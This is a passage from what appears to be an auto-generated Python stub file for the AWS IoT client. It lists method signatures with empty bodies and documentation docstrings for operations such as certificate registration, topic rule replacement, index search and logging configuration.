:param nextToken: The token for the next set of results. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. :rtype: dict :returns: """ pass def register_ca_certificate(self, caCertificate: str, verificationCertificate: str, setAsActive: bool = None, allowAutoRegistration: bool = None, registrationConfig: Dict = None) -> Dict: """ Registers a CA certificate with AWS IoT. This CA certificate can then be used to sign device certificates, which can be then registered with AWS IoT. You can register up to 10 CA certificates per AWS account that have the same subject field. This enables you to have up to 10 certificate authorities sign your device certificates. If you have more than one CA certificate registered, make sure you pass the CA certificate when you register your device certificates with the RegisterCertificate API. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/RegisterCACertificate>`_ **Request Syntax** :: response = client.register_ca_certificate( caCertificate='string', verificationCertificate='string', setAsActive=True|False, allowAutoRegistration=True|False, registrationConfig={ 'templateBody': 'string', 'roleArn': 'string' } ) **Response Syntax** :: { 'certificateArn': 'string', 'certificateId': 'string' } **Response Structure** - *(dict) --* The output from the RegisterCACertificateResponse operation. - **certificateArn** *(string) --* The CA certificate ARN. - **certificateId** *(string) --* The CA certificate identifier. :type caCertificate: string :param caCertificate: **[REQUIRED]** The CA certificate. :type verificationCertificate: string :param verificationCertificate: **[REQUIRED]** The private key verification certificate. :type setAsActive: boolean :param setAsActive: A boolean value that specifies if the CA certificate is set to active. :type allowAutoRegistration: boolean :param allowAutoRegistration: Allows this CA certificate to be used for auto registration of device certificates. :type registrationConfig: dict :param registrationConfig: Information about the registration configuration. - **templateBody** *(string) --* The template body. - **roleArn** *(string) --* The ARN of the role. :rtype: dict :returns: """ pass def register_certificate(self, certificatePem: str, caCertificatePem: str = None, setAsActive: bool = None, status: str = None) -> Dict: """ Registers a device certificate with AWS IoT. If you have more than one CA certificate that has the same subject field, you must specify the CA certificate that was used to sign the device certificate being registered. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/RegisterCertificate>`_ **Request Syntax** :: response = client.register_certificate( certificatePem='string', caCertificatePem='string', setAsActive=True|False, status='ACTIVE'|'INACTIVE'|'REVOKED'|'PENDING_TRANSFER'|'REGISTER_INACTIVE'|'PENDING_ACTIVATION' ) **Response Syntax** :: { 'certificateArn': 'string', 'certificateId': 'string' } **Response Structure** - *(dict) --* The output from the RegisterCertificate operation. - **certificateArn** *(string) --* The certificate ARN. - **certificateId** *(string) --* The certificate identifier. :type certificatePem: string :param certificatePem: **[REQUIRED]** The certificate data, in PEM format. :type caCertificatePem: string :param caCertificatePem: The CA certificate used to sign the device certificate being registered. :type setAsActive: boolean :param setAsActive: A boolean value that specifies if the certificate is set to active. :type status: string :param status: The status of the register certificate request. :rtype: dict :returns: """ pass def register_thing(self, templateBody: str, parameters: Dict = None) -> Dict: """ Provisions a thing. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/RegisterThing>`_ **Request Syntax** :: response = client.register_thing( templateBody='string', parameters={ 'string': 'string' } ) **Response Syntax** :: { 'certificatePem': 'string', 'resourceArns': { 'string': 'string' } } **Response Structure** - *(dict) --* - **certificatePem** *(string) --* . - **resourceArns** *(dict) --* ARNs for the generated resources. - *(string) --* - *(string) --* :type templateBody: string :param templateBody: **[REQUIRED]** The provisioning template. See `Programmatic Provisioning <https://docs.aws.amazon.com/iot/latest/developerguide/programmatic-provisioning.html>`__ for more information. :type parameters: dict :param parameters: The parameters for provisioning a thing. See `Programmatic Provisioning <https://docs.aws.amazon.com/iot/latest/developerguide/programmatic-provisioning.html>`__ for more information. - *(string) --* - *(string) --* :rtype: dict :returns: """ pass def reject_certificate_transfer(self, certificateId: str, rejectReason: str = None): """ Rejects a pending certificate transfer. After AWS IoT rejects a certificate transfer, the certificate status changes from **PENDING_TRANSFER** to **INACTIVE** . To check for pending certificate transfers, call ListCertificates to enumerate your certificates. This operation can only be called by the transfer destination. After it is called, the certificate will be returned to the source's account in the INACTIVE state. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/RejectCertificateTransfer>`_ **Request Syntax** :: response = client.reject_certificate_transfer( certificateId='string', rejectReason='string' ) :type certificateId: string :param certificateId: **[REQUIRED]** The ID of the certificate. (The last part of the certificate ARN contains the certificate ID.) :type rejectReason: string :param rejectReason: The reason the certificate transfer was rejected. :returns: None """ pass def remove_thing_from_billing_group(self, billingGroupName: str = None, billingGroupArn: str = None, thingName: str = None, thingArn: str = None) -> Dict: """ Removes the given thing from the billing group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/RemoveThingFromBillingGroup>`_ **Request Syntax** :: response = client.remove_thing_from_billing_group( billingGroupName='string', billingGroupArn='string', thingName='string', thingArn='string' ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type billingGroupName: string :param billingGroupName: The name of the billing group. :type billingGroupArn: string :param billingGroupArn: The ARN of the billing group. :type thingName: string :param thingName: The name of the thing to be removed from the billing group. :type thingArn: string :param thingArn: The ARN of the thing to be removed from the billing group. :rtype: dict :returns: """ pass def remove_thing_from_thing_group(self, thingGroupName: str = None, thingGroupArn: str = None, thingName: str = None, thingArn: str = None) -> Dict: """ Remove the specified thing from the specified group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/RemoveThingFromThingGroup>`_ **Request Syntax** :: response = client.remove_thing_from_thing_group( thingGroupName='string', thingGroupArn='string', thingName='string', thingArn='string' ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type thingGroupName: string :param thingGroupName: The group name. :type thingGroupArn: string :param thingGroupArn: The group ARN. :type thingName: string :param thingName: The name of the thing to remove from the group. :type thingArn: string :param thingArn: The ARN of the thing to remove from the group. :rtype: dict :returns: """ pass def replace_topic_rule(self, ruleName: str, topicRulePayload: Dict): """ Replaces the rule. You must specify all parameters for the new rule. Creating rules is an administrator-level action. Any user who has permission to create rules will be able to access data processed by the rule. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ReplaceTopicRule>`_ **Request Syntax** :: response = client.replace_topic_rule( ruleName='string', topicRulePayload={ 'sql': 'string', 'description': 'string', 'actions': [ { 'dynamoDB': { 'tableName': 'string', 'roleArn': 'string', 'operation': 'string', 'hashKeyField': 'string', 'hashKeyValue': 'string', 'hashKeyType': 'STRING'|'NUMBER', 'rangeKeyField': 'string', 'rangeKeyValue': 'string', 'rangeKeyType': 'STRING'|'NUMBER', 'payloadField': 'string' }, 'dynamoDBv2': { 'roleArn': 'string', 'putItem': { 'tableName': 'string' } }, 'lambda': { 'functionArn': 'string' }, 'sns': { 'targetArn': 'string', 'roleArn': 'string', 'messageFormat': 'RAW'|'JSON' }, 'sqs': { 'roleArn': 'string', 'queueUrl': 'string', 'useBase64': True|False }, 'kinesis': { 'roleArn': 'string', 'streamName': 'string', 'partitionKey': 'string' }, 'republish': { 'roleArn': 'string', 'topic': 'string' }, 's3': { 'roleArn': 'string', 'bucketName': 'string', 'key': 'string', 'cannedAcl': 'private'|'public-read'|'public-read-write'|'aws-exec-read'|'authenticated-read'|'bucket-owner-read'|'bucket-owner-full-control'|'log-delivery-write' }, 'firehose': { 'roleArn': 'string', 'deliveryStreamName': 'string', 'separator': 'string' }, 'cloudwatchMetric': { 'roleArn': 'string', 'metricNamespace': 'string', 'metricName': 'string', 'metricValue': 'string', 'metricUnit': 'string', 'metricTimestamp': 'string' }, 'cloudwatchAlarm': { 'roleArn': 'string', 'alarmName': 'string', 'stateReason': 'string', 'stateValue': 'string' }, 'elasticsearch': { 'roleArn': 'string', 'endpoint': 'string', 'index': 'string', 'type': 'string', 'id': 'string' }, 'salesforce': { 'token': 'string', 'url': 'string' }, 'iotAnalytics': { 'channelArn': 'string', 'channelName': 'string', 'roleArn': 'string' }, 'iotEvents': { 'inputName': 'string', 'messageId': 'string', 'roleArn': 'string' }, 'stepFunctions': { 'executionNamePrefix': 'string', 'stateMachineName': 'string', 'roleArn': 'string' } }, ], 'ruleDisabled': True|False, 'awsIotSqlVersion': 'string', 'errorAction': { 'dynamoDB': { 'tableName': 'string', 'roleArn': 'string', 'operation': 'string', 'hashKeyField': 'string', 'hashKeyValue': 'string', 'hashKeyType': 'STRING'|'NUMBER', 'rangeKeyField': 'string', 'rangeKeyValue': 'string', 'rangeKeyType': 'STRING'|'NUMBER', 'payloadField': 'string' }, 'dynamoDBv2': { 'roleArn': 'string', 'putItem': { 'tableName': 'string' } }, 'lambda': { 'functionArn': 'string' }, 'sns': { 'targetArn': 'string', 'roleArn': 'string', 'messageFormat': 'RAW'|'JSON' }, 'sqs': { 'roleArn': 'string', 'queueUrl': 'string', 'useBase64': True|False }, 'kinesis': { 'roleArn': 'string', 'streamName': 'string', 'partitionKey': 'string' }, 'republish': { 'roleArn': 'string', 'topic': 'string' }, 's3': { 'roleArn': 'string', 'bucketName': 'string', 'key': 'string', 'cannedAcl': 'private'|'public-read'|'public-read-write'|'aws-exec-read'|'authenticated-read'|'bucket-owner-read'|'bucket-owner-full-control'|'log-delivery-write' }, 'firehose': { 'roleArn': 'string', 'deliveryStreamName': 'string', 'separator': 'string' }, 'cloudwatchMetric': { 'roleArn': 'string', 'metricNamespace': 'string', 'metricName': 'string', 'metricValue': 'string', 'metricUnit': 'string', 'metricTimestamp': 'string' }, 'cloudwatchAlarm': { 'roleArn': 'string', 'alarmName': 'string', 'stateReason': 'string', 'stateValue': 'string' }, 'elasticsearch': { 'roleArn': 'string', 'endpoint': 'string', 'index': 'string', 'type': 'string', 'id': 'string' }, 'salesforce': { 'token': 'string', 'url': 'string' }, 'iotAnalytics': { 'channelArn': 'string', 'channelName': 'string', 'roleArn': 'string' }, 'iotEvents': { 'inputName': 'string', 'messageId': 'string', 'roleArn': 'string' }, 'stepFunctions': { 'executionNamePrefix': 'string', 'stateMachineName': 'string', 'roleArn': 'string' } } } ) :type ruleName: string :param ruleName: **[REQUIRED]** The name of the rule. :type topicRulePayload: dict :param topicRulePayload: **[REQUIRED]** The rule payload. - **sql** *(string) --* **[REQUIRED]** The SQL statement used to query the topic. For more information, see `AWS IoT SQL Reference <https://docs.aws.amazon.com/iot/latest/developerguide/iot-rules.html#aws-iot-sql-reference>`__ in the *AWS IoT Developer Guide* . - **description** *(string) --* The description of the rule. - **actions** *(list) --* **[REQUIRED]** The actions associated with the rule. - *(dict) --* Describes the actions associated with a rule. - **dynamoDB** *(dict) --* Write to a DynamoDB table. - **tableName** *(string) --* **[REQUIRED]** The name of the DynamoDB table. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access to the DynamoDB table. - **operation** *(string) --* The type of operation to be performed. This follows the substitution template, so it can be ``${operation}`` , but the substitution must result in one of the following: ``INSERT`` , ``UPDATE`` , or ``DELETE`` . - **hashKeyField** *(string) --* **[REQUIRED]** The hash key name. - **hashKeyValue** *(string) --* **[REQUIRED]** The hash key value. - **hashKeyType** *(string) --* The hash key type. Valid values are \"STRING\" or \"NUMBER\" - **rangeKeyField** *(string) --* The range key name. - **rangeKeyValue** *(string) --* The range key value. - **rangeKeyType** *(string) --* The range key type. Valid values are \"STRING\" or \"NUMBER\" - **payloadField** *(string) --* The action payload. This name can be customized. - **dynamoDBv2** *(dict) --* Write to a DynamoDB table. This is a new version of the DynamoDB action. It allows you to write each attribute in an MQTT message payload into a separate DynamoDB column. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access to the DynamoDB table. - **putItem** *(dict) --* **[REQUIRED]** Specifies the DynamoDB table to which the message data will be written. For example: ``{ \"dynamoDBv2\": { \"roleArn\": \"aws:iam:12341251:my-role\" \"putItem\": { \"tableName\": \"my-table\" } } }`` Each attribute in the message payload will be written to a separate column in the DynamoDB database. - **tableName** *(string) --* **[REQUIRED]** The table where the message data will be written - **lambda** *(dict) --* Invoke a Lambda function. - **functionArn** *(string) --* **[REQUIRED]** The ARN of the Lambda function. - **sns** *(dict) --* Publish to an Amazon SNS topic. - **targetArn** *(string) --* **[REQUIRED]** The ARN of the SNS topic. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **messageFormat** *(string) --* (Optional) The message format of the message to publish. Accepted values are \"JSON\" and \"RAW\". The default value of the attribute is \"RAW\". SNS uses this setting to determine if the payload should be parsed and relevant platform-specific bits of the payload should be extracted. To read more about SNS message formats, see `https\://docs.aws.amazon.com/sns/latest/dg/json-formats.html <https://docs.aws.amazon.com/sns/latest/dg/json-formats.html>`__ refer to their official documentation. - **sqs** *(dict) --* Publish to an Amazon SQS queue. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **queueUrl** *(string) --* **[REQUIRED]** The URL of the Amazon SQS queue. - **useBase64** *(boolean) --* Specifies whether to use Base64 encoding. - **kinesis** *(dict) --* Write data to an Amazon Kinesis stream. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access to the Amazon Kinesis stream. - **streamName** *(string) --* **[REQUIRED]** The name of the Amazon Kinesis stream. - **partitionKey** *(string) --* The partition key. - **republish** *(dict) --* Publish to another MQTT topic. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **topic** *(string) --* **[REQUIRED]** The name of the MQTT topic. - **s3** *(dict) --* Write to an Amazon S3 bucket. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **bucketName** *(string) --* **[REQUIRED]** The Amazon S3 bucket. - **key** *(string) --* **[REQUIRED]** The object key. - **cannedAcl** *(string) --* The Amazon S3 canned ACL that controls access to the object identified by the object key. For more information, see `S3 canned ACLs <https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl>`__ . - **firehose** *(dict) --* Write to an Amazon Kinesis Firehose stream. - **roleArn** *(string) --* **[REQUIRED]** The IAM role that grants access to the Amazon Kinesis Firehose stream. - **deliveryStreamName** *(string) --* **[REQUIRED]** The delivery stream name. - **separator** *(string) --* A character separator that will be used to separate records written to the Firehose stream. Valid values are: \'\n\' (newline), \'\t\' (tab), \'\r\n\' (Windows newline), \',\' (comma). - **cloudwatchMetric** *(dict) --* Capture a CloudWatch metric. - **roleArn** *(string) --* **[REQUIRED]** The IAM role that allows access to the CloudWatch metric. - **metricNamespace** *(string) --* **[REQUIRED]** The CloudWatch metric namespace name. - **metricName** *(string) --* **[REQUIRED]** The CloudWatch metric name. - **metricValue** *(string) --* **[REQUIRED]** The CloudWatch metric value. - **metricUnit** *(string) --* **[REQUIRED]** The `metric unit <https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/cloudwatch_concepts.html#Unit>`__ supported by CloudWatch. - **metricTimestamp** *(string) --* An optional `Unix timestamp <https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/cloudwatch_concepts.html#about_timestamp>`__ . - **cloudwatchAlarm** *(dict) --* Change the state of a CloudWatch alarm. - **roleArn** *(string) --* **[REQUIRED]** The IAM role that allows access to the CloudWatch alarm. - **alarmName** *(string) --* **[REQUIRED]** The CloudWatch alarm name. - **stateReason** *(string) --* **[REQUIRED]** The reason for the alarm change. - **stateValue** *(string) --* **[REQUIRED]** The value of the alarm state. Acceptable values are: OK, ALARM, INSUFFICIENT_DATA. - **elasticsearch** *(dict) --* Write data to an Amazon Elasticsearch Service domain. - **roleArn** *(string) --* **[REQUIRED]** The IAM role ARN that has access to Elasticsearch. - **endpoint** *(string) --* **[REQUIRED]** The endpoint of your Elasticsearch domain. - **index** *(string) --* **[REQUIRED]** The Elasticsearch index where you want to store your data. - **type** *(string) --* **[REQUIRED]** The type of document you are storing. - **id** *(string) --* **[REQUIRED]** The unique identifier for the document you are storing. - **salesforce** *(dict) --* Send a message to a Salesforce IoT Cloud Input Stream. - **token** *(string) --* **[REQUIRED]** The token used to authenticate access to the Salesforce IoT Cloud Input Stream. The token is available from the Salesforce IoT Cloud platform after creation of the Input Stream. - **url** *(string) --* **[REQUIRED]** The URL exposed by the Salesforce IoT Cloud Input Stream. The URL is available from the Salesforce IoT Cloud platform after creation of the Input Stream. - **iotAnalytics** *(dict) --* Sends message data to an AWS IoT Analytics channel. - **channelArn** *(string) --* (deprecated) The ARN of the IoT Analytics channel to which message data will be sent. - **channelName** *(string) --* The name of the IoT Analytics channel to which message data will be sent. - **roleArn** *(string) --* The ARN of the role which has a policy that grants IoT Analytics permission to send message data via IoT Analytics (iotanalytics:BatchPutMessage). - **iotEvents** *(dict) --* Sends an input to an AWS IoT Events detector. - **inputName** *(string) --* **[REQUIRED]** The name of the AWS IoT Events input. - **messageId** *(string) --* [Optional] Use this to ensure that only one input (message) with a given messageId will be processed by an AWS IoT Events detector. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the role that grants AWS IoT permission to send an input to an AWS IoT Events detector. (\"Action\":\"iotevents:BatchPutMessage\"). - **stepFunctions** *(dict) --* Starts execution of a Step Functions state machine. - **executionNamePrefix** *(string) --* (Optional) A name will be given to the state machine execution consisting of this prefix followed by a UUID. Step Functions automatically creates a unique name for each state machine execution if one is not provided. - **stateMachineName** *(string) --* **[REQUIRED]** The name of the Step Functions state machine whose execution will be started. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the role that grants IoT permission to start execution of a state machine (\"Action\":\"states:StartExecution\"). - **ruleDisabled** *(boolean) --* Specifies whether the rule is disabled. - **awsIotSqlVersion** *(string) --* The version of the SQL rules engine to use when evaluating the rule. - **errorAction** *(dict) --* The action to take when an error occurs. - **dynamoDB** *(dict) --* Write to a DynamoDB table. - **tableName** *(string) --* **[REQUIRED]** The name of the DynamoDB table. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access to the DynamoDB table. - **operation** *(string) --* The type of operation to be performed. This follows the substitution template, so it can be ``${operation}`` , but the substitution must result in one of the following: ``INSERT`` , ``UPDATE`` , or ``DELETE`` . - **hashKeyField** *(string) --* **[REQUIRED]** The hash key name. - **hashKeyValue** *(string) --* **[REQUIRED]** The hash key value. - **hashKeyType** *(string) --* The hash key type. Valid values are \"STRING\" or \"NUMBER\" - **rangeKeyField** *(string) --* The range key name. - **rangeKeyValue** *(string) --* The range key value. - **rangeKeyType** *(string) --* The range key type. Valid values are \"STRING\" or \"NUMBER\" - **payloadField** *(string) --* The action payload. This name can be customized. - **dynamoDBv2** *(dict) --* Write to a DynamoDB table. This is a new version of the DynamoDB action. It allows you to write each attribute in an MQTT message payload into a separate DynamoDB column. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access to the DynamoDB table. - **putItem** *(dict) --* **[REQUIRED]** Specifies the DynamoDB table to which the message data will be written. For example: ``{ \"dynamoDBv2\": { \"roleArn\": \"aws:iam:12341251:my-role\" \"putItem\": { \"tableName\": \"my-table\" } } }`` Each attribute in the message payload will be written to a separate column in the DynamoDB database. - **tableName** *(string) --* **[REQUIRED]** The table where the message data will be written - **lambda** *(dict) --* Invoke a Lambda function. - **functionArn** *(string) --* **[REQUIRED]** The ARN of the Lambda function. - **sns** *(dict) --* Publish to an Amazon SNS topic. - **targetArn** *(string) --* **[REQUIRED]** The ARN of the SNS topic. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **messageFormat** *(string) --* (Optional) The message format of the message to publish. Accepted values are \"JSON\" and \"RAW\". The default value of the attribute is \"RAW\". SNS uses this setting to determine if the payload should be parsed and relevant platform-specific bits of the payload should be extracted. To read more about SNS message formats, see `https\://docs.aws.amazon.com/sns/latest/dg/json-formats.html <https://docs.aws.amazon.com/sns/latest/dg/json-formats.html>`__ refer to their official documentation. - **sqs** *(dict) --* Publish to an Amazon SQS queue. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **queueUrl** *(string) --* **[REQUIRED]** The URL of the Amazon SQS queue. - **useBase64** *(boolean) --* Specifies whether to use Base64 encoding. - **kinesis** *(dict) --* Write data to an Amazon Kinesis stream. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access to the Amazon Kinesis stream. - **streamName** *(string) --* **[REQUIRED]** The name of the Amazon Kinesis stream. - **partitionKey** *(string) --* The partition key. - **republish** *(dict) --* Publish to another MQTT topic. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **topic** *(string) --* **[REQUIRED]** The name of the MQTT topic. - **s3** *(dict) --* Write to an Amazon S3 bucket. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **bucketName** *(string) --* **[REQUIRED]** The Amazon S3 bucket. - **key** *(string) --* **[REQUIRED]** The object key. - **cannedAcl** *(string) --* The Amazon S3 canned ACL that controls access to the object identified by the object key. For more information, see `S3 canned ACLs <https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl>`__ . - **firehose** *(dict) --* Write to an Amazon Kinesis Firehose stream. - **roleArn** *(string) --* **[REQUIRED]** The IAM role that grants access to the Amazon Kinesis Firehose stream. - **deliveryStreamName** *(string) --* **[REQUIRED]** The delivery stream name. - **separator** *(string) --* A character separator that will be used to separate records written to the Firehose stream. Valid values are: \'\n\' (newline), \'\t\' (tab), \'\r\n\' (Windows newline), \',\' (comma). - **cloudwatchMetric** *(dict) --* Capture a CloudWatch metric. - **roleArn** *(string) --* **[REQUIRED]** The IAM role that allows access to the CloudWatch metric. - **metricNamespace** *(string) --* **[REQUIRED]** The CloudWatch metric namespace name. - **metricName** *(string) --* **[REQUIRED]** The CloudWatch metric name. - **metricValue** *(string) --* **[REQUIRED]** The CloudWatch metric value. - **metricUnit** *(string) --* **[REQUIRED]** The `metric unit <https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/cloudwatch_concepts.html#Unit>`__ supported by CloudWatch. - **metricTimestamp** *(string) --* An optional `Unix timestamp <https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/cloudwatch_concepts.html#about_timestamp>`__ . - **cloudwatchAlarm** *(dict) --* Change the state of a CloudWatch alarm. - **roleArn** *(string) --* **[REQUIRED]** The IAM role that allows access to the CloudWatch alarm. - **alarmName** *(string) --* **[REQUIRED]** The CloudWatch alarm name. - **stateReason** *(string) --* **[REQUIRED]** The reason for the alarm change. - **stateValue** *(string) --* **[REQUIRED]** The value of the alarm state. Acceptable values are: OK, ALARM, INSUFFICIENT_DATA. - **elasticsearch** *(dict) --* Write data to an Amazon Elasticsearch Service domain. - **roleArn** *(string) --* **[REQUIRED]** The IAM role ARN that has access to Elasticsearch. - **endpoint** *(string) --* **[REQUIRED]** The endpoint of your Elasticsearch domain. - **index** *(string) --* **[REQUIRED]** The Elasticsearch index where you want to store your data. - **type** *(string) --* **[REQUIRED]** The type of document you are storing. - **id** *(string) --* **[REQUIRED]** The unique identifier for the document you are storing. - **salesforce** *(dict) --* Send a message to a Salesforce IoT Cloud Input Stream. - **token** *(string) --* **[REQUIRED]** The token used to authenticate access to the Salesforce IoT Cloud Input Stream. The token is available from the Salesforce IoT Cloud platform after creation of the Input Stream. - **url** *(string) --* **[REQUIRED]** The URL exposed by the Salesforce IoT Cloud Input Stream. The URL is available from the Salesforce IoT Cloud platform after creation of the Input Stream. - **iotAnalytics** *(dict) --* Sends message data to an AWS IoT Analytics channel. - **channelArn** *(string) --* (deprecated) The ARN of the IoT Analytics channel to which message data will be sent. - **channelName** *(string) --* The name of the IoT Analytics channel to which message data will be sent. - **roleArn** *(string) --* The ARN of the role which has a policy that grants IoT Analytics permission to send message data via IoT Analytics (iotanalytics:BatchPutMessage). - **iotEvents** *(dict) --* Sends an input to an AWS IoT Events detector. - **inputName** *(string) --* **[REQUIRED]** The name of the AWS IoT Events input. - **messageId** *(string) --* [Optional] Use this to ensure that only one input (message) with a given messageId will be processed by an AWS IoT Events detector. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the role that grants AWS IoT permission to send an input to an AWS IoT Events detector. (\"Action\":\"iotevents:BatchPutMessage\"). - **stepFunctions** *(dict) --* Starts execution of a Step Functions state machine. - **executionNamePrefix** *(string) --* (Optional) A name will be given to the state machine execution consisting of this prefix followed by a UUID. Step Functions automatically creates a unique name for each state machine execution if one is not provided. - **stateMachineName** *(string) --* **[REQUIRED]** The name of the Step Functions state machine whose execution will be started. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the role that grants IoT permission to start execution of a state machine (\"Action\":\"states:StartExecution\"). :returns: None """ pass def search_index(self, queryString: str, indexName: str = None, nextToken: str = None, maxResults: int = None, queryVersion: str = None) -> Dict: """ The query search index. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/SearchIndex>`_ **Request Syntax** :: response = client.search_index( indexName='string', queryString='string', nextToken='string', maxResults=123, queryVersion='string' ) **Response Syntax** :: { 'nextToken': 'string', 'things': [ { 'thingName': 'string', 'thingId': 'string', 'thingTypeName': 'string', 'thingGroupNames': [ 'string', ], 'attributes': { 'string': 'string' }, 'shadow': 'string', 'connectivity': { 'connected': True|False, 'timestamp': 123 } }, ], 'thingGroups': [ { 'thingGroupName': 'string', 'thingGroupId': 'string', 'thingGroupDescription': 'string', 'attributes': { 'string': 'string' }, 'parentGroupNames': [ 'string', ] }, ] } **Response Structure** - *(dict) --* - **nextToken** *(string) --* The token used to get the next set of results, or null if there are no additional results. - **things** *(list) --* The things that match the search query. - *(dict) --* The thing search index document. - **thingName** *(string) --* The thing name. - **thingId** *(string) --* The thing ID. - **thingTypeName** *(string) --* The thing type name. - **thingGroupNames** *(list) --* Thing group names. - *(string) --* - **attributes** *(dict) --* The attributes. - *(string) --* - *(string) --* - **shadow** *(string) --* The shadow. - **connectivity** *(dict) --* Indicates whether the thing is connected to the AWS IoT service. - **connected** *(boolean) --* True if the thing is connected to the AWS IoT service; false if it is not connected. - **timestamp** *(integer) --* The epoch time (in milliseconds) when the thing last connected or disconnected. If the thing has been disconnected for more than a few weeks, the time value might be missing. - **thingGroups** *(list) --* The thing groups that match the search query. - *(dict) --* The thing group search index document. - **thingGroupName** *(string) --* The thing group name. - **thingGroupId** *(string) --* The thing group ID. - **thingGroupDescription** *(string) --* The thing group description. - **attributes** *(dict) --* The thing group attributes. - *(string) --* - *(string) --* - **parentGroupNames** *(list) --* Parent group names. - *(string) --* :type indexName: string :param indexName: The search index name. :type queryString: string :param queryString: **[REQUIRED]** The search query string. :type nextToken: string :param nextToken: The token used to get the next set of results, or null if there are no additional results. :type maxResults: integer :param maxResults: The maximum number of results to return at one time. :type queryVersion: string :param queryVersion: The query version. :rtype: dict :returns: """ pass def set_default_authorizer(self, authorizerName: str) -> Dict: """ Sets the default authorizer. This will be used if a websocket connection is made without specifying an authorizer. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/SetDefaultAuthorizer>`_ **Request Syntax** :: response = client.set_default_authorizer( authorizerName='string' ) **Response Syntax** :: { 'authorizerName': 'string', 'authorizerArn': 'string' } **Response Structure** - *(dict) --* - **authorizerName** *(string) --* The authorizer name. - **authorizerArn** *(string) --* The authorizer ARN. :type authorizerName: string :param authorizerName: **[REQUIRED]** The authorizer name. :rtype: dict :returns: """ pass def set_default_policy_version(self, policyName: str, policyVersionId: str): """ Sets the specified version of the specified policy as the policy's default (operative) version. This action affects all certificates to which the policy is attached. To list the principals the policy is attached to, use the ListPrincipalPolicy API. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/SetDefaultPolicyVersion>`_ **Request Syntax** :: response = client.set_default_policy_version( policyName='string', policyVersionId='string' ) :type policyName: string :param policyName: **[REQUIRED]** The policy name. :type policyVersionId: string :param policyVersionId: **[REQUIRED]** The policy version ID. :returns: None """ pass def set_logging_options(self, loggingOptionsPayload: Dict): """ Sets the logging options. NOTE: use of this command is not recommended. Use ``SetV2LoggingOptions`` instead. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/SetLoggingOptions>`_ **Request Syntax** :: response = client.set_logging_options( loggingOptionsPayload={ 'roleArn': 'string', 'logLevel': 'DEBUG'|'INFO'|'ERROR'|'WARN'|'DISABLED' } ) :type loggingOptionsPayload: dict :param loggingOptionsPayload: **[REQUIRED]** The logging options payload. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **logLevel** *(string) --* The log level. :returns: None """ pass def set_v2_logging_level(self, logTarget: Dict, logLevel: str): """ Sets the logging level. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/SetV2LoggingLevel>`_ **Request Syntax** :: response = client.set_v2_logging_level( logTarget={ 'targetType': 'DEFAULT'|'THING_GROUP', 'targetName': 'string' }, logLevel='DEBUG'|'INFO'|'ERROR'|'WARN'|'DISABLED' ) :type logTarget: dict :param logTarget: **[REQUIRED]** The log target. - **targetType** *(string) --* **[REQUIRED]** The target type. - **targetName** *(string) --* The target name. :type logLevel: string :param logLevel: **[REQUIRED]** The log level. :returns: None """ pass def set_v2_logging_options(self, roleArn: str = None, defaultLogLevel: str = None, disableAllLogs: bool = None): """ Sets the logging options for the V2 logging service. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/SetV2LoggingOptions>`_ **Request Syntax** :: response = client.set_v2_logging_options( roleArn='string', defaultLogLevel='DEBUG'|'INFO'|'ERROR'|'WARN'|'DISABLED', disableAllLogs=True|False ) :type roleArn: string :param roleArn: The ARN of the role that allows IoT to write to Cloudwatch logs. :type defaultLogLevel: string :param defaultLogLevel: The default logging level. :type disableAllLogs: boolean :param disableAllLogs: If true all logs are disabled. The default is false. :returns: None """ pass def start_on_demand_audit_task(self, targetCheckNames: List) -> Dict: """ Starts an on-demand Device Defender audit. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/StartOnDemandAuditTask>`_ **Request 